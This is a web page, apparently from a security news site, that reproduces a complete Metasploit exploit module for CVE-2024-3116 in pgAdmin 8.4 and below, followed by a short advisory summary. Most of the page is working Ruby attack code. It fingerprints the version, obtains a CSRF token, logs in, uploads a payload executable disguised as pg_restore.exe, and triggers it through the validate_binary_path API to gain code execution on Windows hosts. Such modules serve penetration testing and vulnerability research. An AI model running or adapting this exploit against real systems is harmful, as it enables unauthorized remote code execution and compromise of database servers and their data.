Headline
pgAdmin 8.4 Remote Code Execution
pgAdmin versions 8.4 and below are affected by a remote code execution vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system’s integrity and the security of the underlying data.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'pgAdmin Binary Path API RCE', 'Description' => %q{ pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system's integrity and the security of the underlying data. Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated. }, 'License' => MSF_LICENSE, 'Author' => [ 'M.Selim Karahan', # metasploit module 'Mustafa Mutlu', # lab prep. and QA 'Ayoub Mokhtar' # vulnerability discovery and write up ], 'References' => [ [ 'CVE', '2024-3116'], [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'], [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116'] ], 'Platform' => ['windows'], 'Arch' => ARCH_X64, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2024-03-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ] } ) ) register_options( [ Opt::RPORT(8000), OptString.new('USERNAME', [ false, 'User to login with', '']), OptString.new('PASSWORD', [ false, 'Password to login with', '']), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) ] ) end def check version = get_version return CheckCode::Unknown('Unable to determine the target version') unless version return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5') CheckCode::Vulnerable("pgAdmin version #{version} is affected") end def set_csrf_token_from_login_page(res) if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ @csrf_token = Regexp.last_match(1) # at some point between v7.0 and 7.7 the token format changed elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first) @csrf_token = element['value'] end end def set_csrf_token_from_config(res) if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ @csrf_token = Regexp.last_match(1) # at some point between v7.0 and 7.7 the token format changed else @csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first end end def auth_required? res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true) if res&.code == 302 && res.headers['Location']['login'] true elsif res&.code == 302 && res.headers['Location']['browser'] false end end def on_windows? res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true) if res&.code == 200 platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first return platform == 'win32' end end def get_version if auth_required? res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) else res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true) end html_document = res&.get_html_document return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4' # there's multiple links in the HTML that expose the version number in the [X]XYYZZ, # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27 versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ } return unless versioned_link Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}") end def csrf_token return @csrf_token if @csrf_token if auth_required? res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) set_csrf_token_from_login_page(res) else res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true) set_csrf_token_from_config(res) end fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token @csrf_token end def exploit if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?) fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials') end if auth_required? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'csrf_token' => csrf_token, 'email' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'language' => 'en', 'internal_button' => 'Login' } }) unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') end print_status('Successfully authenticated to pgAdmin') end unless on_windows? fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!') end file_name = 'pg_restore.exe' file_manager_upload_and_trigger(file_name, generate_payload_exe) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end # file manager code is copied from pgadmin_session_deserialization module def file_manager_init res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => { 'dialog_type' => 'storage_dialog', 'supported_types' => ['sql', 'csv', 'json', '*'], 'dialog_title' => 'Storage Manager' }.to_json }) unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir')) fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder') end return trans_id, home_folder end def file_manager_upload_and_trigger(file_path, file_contents) trans_id, home_folder = file_manager_init form = Rex::MIME::Message.new form.add_part( file_contents, 'application/octet-stream', 'binary', "form-data; name=\"newfile\"; filename=\"#{file_path}\"" ) form.add_part('add', nil, nil, 'form-data; name="mode"') form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"') form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => form.to_s }) unless res&.code == 200 && res.get_json_document['success'] == 1 fail_with(Failure::UnexpectedReply, 'Failed to upload file contents') end upload_path = res.get_json_document.dig('data', 'result', 'Name') register_file_for_cleanup(upload_path) print_status("Payload uploaded to: #{upload_path}") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => { 'utility_path' => upload_path[0..upload_path.size - 16] }.to_json }) true endend
Related news
GHSA-27jx-ffw8-xrqv: pgAdmin Remote Code Execution (RCE) vulnerability
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system's integrity and the security of the underlying data.